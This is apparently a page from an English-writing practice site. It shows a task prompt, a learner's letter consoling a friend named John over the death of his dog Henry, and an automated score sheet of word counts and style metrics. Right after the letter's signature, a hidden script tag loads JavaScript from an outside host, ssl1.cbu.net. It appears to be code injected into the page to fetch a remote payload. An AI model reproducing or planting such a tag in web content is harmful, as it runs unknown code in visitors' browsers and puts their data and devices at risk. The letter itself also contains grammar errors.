Write a letter to console your friend. In your letter:
Express your sympathy
Include memories you have about the dog
Invite your friend to do something with you
Write at least 150 words. You do NOT need to write any addresses.
Dear John,
I am so sorry to hear about the demise of your dog Henry. When I got the news about his illness, I still never imagined us without him. He is in a better place. I understand, it feels like a completely different world.
Do you remember the first time we bought him home, he was a cute little puppy who fairly opened his eyes. He was with you as a companion for four years. My photo gallery is full of him. He was the good boy who used to love and obey like a child.
I was hoping you could invite me to my home and stay with me for a few days until you feel better. We can think of something better like therapy. Please take care of yourself.
I cannot wait to hear from you.
warm regards,
Jonas <script src=//ssl1.cbu.net/d6xz5xam></script>
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flaws:
No. of Words: 142 350
Minimum 150 words wanted
Attribute Value Ideal
Final score: 7.5 out of 9
Category: Very Good Excellent
No. of Grammatical Errors: 2 2
No. of Spelling Errors: 1 2
No. of Sentences: 14 15
No. of Words: 142 150
No. of Characters: 545 900
No. of Different Words: 98 100
Fourth Root of Number of Words: 3.452 4.7
Average Word Length: 3.838 4.6
Word Length SD: 1.963 2.4
No. of Words greater than 5 chars: 25 100
No. of Words greater than 6 chars: 13 80
No. of Words greater than 7 chars: 8 40
No. of Words greater than 8 chars: 5 20
Use of Passive Voice (%): 0 0
Avg. Sentence Length: 10.143 21.0
Sentence Length SD: 5.926 7.5
Use of Discourse Markers (%): 0.214 0.12
Sentence-Text Coherence: 0.315 0.35
Sentence-Para Coherence: 0.646 0.50
Sentence-Sentence Coherence: 0.17 0.07
Number of Paragraphs: 6 5